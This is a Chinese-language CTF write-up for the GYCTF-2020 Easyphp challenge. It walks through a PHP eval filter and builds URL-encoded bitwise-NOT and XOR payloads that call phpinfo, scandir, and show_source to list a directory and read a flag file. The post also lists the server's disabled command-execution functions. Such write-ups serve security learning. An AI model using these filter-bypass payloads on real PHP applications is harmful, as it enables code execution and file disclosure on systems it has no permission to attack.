suyumen
目前主要在学习web相关

GYCTF-2020-Easyphp

2021-05-01 异或绕过
Word count: 1.5k | Reading time: 6min

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

发现诸多不会的东西,开始上网查。

1.

首先就是这个@$_GET没见过:@用于防止出现任何警告或错误信息,好像没什么影响。

2.

正则匹配我才发现这个网址https://regex101.com/太好用勒!
第一个if过滤了不少呦。特别是过滤了.,不能字符串拼接了,但是发现没有过滤^~符号,想到取反和异或(但是我还不会),先查查没过滤的函数。

但是怎么查呢,作为一名面向wp学习的web手,要积极地看别人的wp,原来可以调用get_defined_functions()这个函数,获取所有的内置定义函数,再把正则匹配写上过滤,运行程序出结果。
得到:

bcmul//两个任意精度数字相乘,返回结果
rtrim//移除字符串右侧的空白字符或其他预定义字符
trim//移除字符串两侧的空白字符或其他预定义字符
ltrim//移除字符串左侧的空白字符或其他预定义字符
chr//返回指定的字符
link//建立一个硬连接(不懂)
unlink//删除文件
tan//正切
atan//反正切
atanh//反双曲正切
tanh//双曲正切
intval//获取变量整数值
mail//发送邮件
min//返回最小值
max//返回最大值

一看没什么眼熟的函数就没戏。

3.

strtolower()函数:把所有字符转换为小写;
count_chars() 函数:返回字符串中所用字符的信息(例如,ASCII 字符在字符串中出现的次数,或者某个字符是否已经在字符串中使用过)。

count_chars(string,mode)
string: 必需。规定要检查的字符串。
mode:可选。规定返回模式。默认是 0。

0 - 数组,ASCII 值为键名,出现的次数为键值
1 - 数组,ASCII 值为键名,出现的次数为键值,只列出出现次数大于 0 的值
2 - 数组,ASCII 值为键名,出现的次数为键值,只列出出现次数等于 0 的值
3 - 字符串,带有所有使用过的不同的字符
4 - 字符串,带有所有未使用过的不同的字符

所以现在我能看懂了,第二个if要求$_中用到的字符的小写数量小于等于13个。

异或绕过

4.

下面就着手异或,很好我果然不会,继续研究别人的wp,好了我会了:

先查看phpinfo()

?_=phpinfo();

?_=(~%8f%97%8f%96%91%99%90)();

然后查看禁用的函数:

disable_functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pcntl_alarm//为进程设置一个alarm闹钟信号
pcntl_fork//在当前进程当前位置产生分支(子进程)
pcntl_waitpid//等待或返回fork的子进程状态
pcntl_wait//等待或返回fork的子进程状态
pcntl_wifexited//检查状态代码是否代表一个正常的退出
pcntl_wifstopped//检查子进程当前是否已经停止
pcntl_wifsignaled//检查子进程状态码是否代表由于某个信号而中断
pcntl_wifcontinued//没找到,估计是继续运行子程序
pcntl_wexitstatus//返回一个中断的子进程的返回代码
pcntl_wtermsig//返回导致子进程中断的信号
pcntl_wstopsig//返回导致子进程停止的信号
pcntl_signal//安装一个信号处理器
pcntl_signal_get_handler//获取指定信号的当前处理程序
pcntl_signal_dispatch//调用等待信号的处理器
pcntl_get_last_error//检索最后一个失败的pcntl函数设置的错误号
pcntl_strerror//检索与给定error关联的系统错误消息
pcntl_sigprocmask//设置或检索阻塞信号
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system//执行外部程序,并且显示输出
exec//执行一个外部程序
escapeshellarg//把字符串转码为可以在 shell 命令里使用的参数
escapeshellcmd//shell 元字符转义
passthru//执行外部程序并且显示原始输出
proc_close//关闭由 proc_open() 打开的进程并且返回进程退出码
proc_get_status//获取由 proc_open() 函数打开的进程的信息
proc_open//执行一个命令,并且打开用来输入/输出的文件指针
shell_exec//通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
mail//发送邮件
imap_open//打开到邮箱的IMAP流

可以选用scandir()函数列目录,用print_r()函数输出flag文件。

print_r(scandir('.'));
?_=(~%8f%8d%96%91%8b%a0%8d%d7%8c%9c%9e%91%9b%96%8d%d7%d8%d1%d8));

返回you are so close, omg

下一步就是保证字符种类的个数小于等于13,可以采取多次异或的方式。

s,p,n换掉,相当于使用().;_cinrst^

1
2
3
4
s = d ^ c ^ t
p = c ^ a ^ r
n = c ^ d ^ i

1
2
3
s->9b 9c 8b 
p->9c 9e 8d
n->9c 9b 96

print_r:

1
((%9c%8d%96%9c%8b%a0%8d)^(%9e%ff%ff%9b%ff%ff%ff)^(%8d%ff%ff%96%ff%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))

scandir:

1
((%9b%9c%9e%9c%9b%96%8d^(%ff%ff%ff%ff%ff%ff%ff)^(%9c%ff%ff%9b%ff%ff%ff)^(%8b%ff%ff%96%ff%ff%ff))

总合一下:

1
?_=((%9c%8d%96%9c%8b%a0%8d)^(%9e%ff%ff%9b%ff%ff%ff)^(%8d%ff%ff%96%ff%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9c%9e%9c%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%9c%ff%ff%9b%ff%ff%ff)^(%8b%ff%ff%96%ff%ff%ff))((%d1)^(%ff)));

得到回显:

1
2
3
4
5
6
7
Array
(
[0] => .
[1] => ..
[2] => index.php
[3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
)

最后利用end()读文件名,show_source读文件信息。

有字符show_urce(ndai.);17个,利用:

1
2
3
4
w = a ^ c ^ u
r = o ^ h ^ u
i = d ^ c ^ n
d = h ^ c ^ o
1
2
3
4
w->9c,9e,8a
r->97,90,8a
i->9c,9b,91
d->97,90,9c,

show_source:

1
((%8c%97%90%9c%a0%8c%90%8a%97%9c%9a)^(%ff%ff%ff%9e%ff%ff%ff%ff%90%ff%ff)^(%ff%ff%ff%8a%ff%ff%ff%ff%8a%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))

end:

1
((%9a%91%97)^(%ff%ff%90)^(%ff%ff%9c)^(%ff%ff%ff))

scandir

1
((%8c%9c%9e%91%97%9c%97)^(%ff%ff%ff%ff%90%9b%90)^(%ff%ff%ff%ff%9c%91%8a)^(%ff%ff%ff%ff%ff%ff%ff))

payload:
?_=show_source(end(scandir(.)));
拼一拼得到flag。


参考

https://www.php.net/

https://www.w3school.com.cn/php/func_string_strtolower.asp

https://www.freesion.com/article/8494620874/

https://xz.aliyun.com/t/5677

https://blog.csdn.net/Zero_Adam/article/details/115468669

Author: suyumen

Link: https://suyumen.github.io/2021/05/01/2021-05-01-[GYCTF2020]Easyphp/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
GYCTF-2020-Ezsqli
NextPost >
java任意文件下载
CATALOG
  1. 1. 异或绕过
    1. 1.1. 参考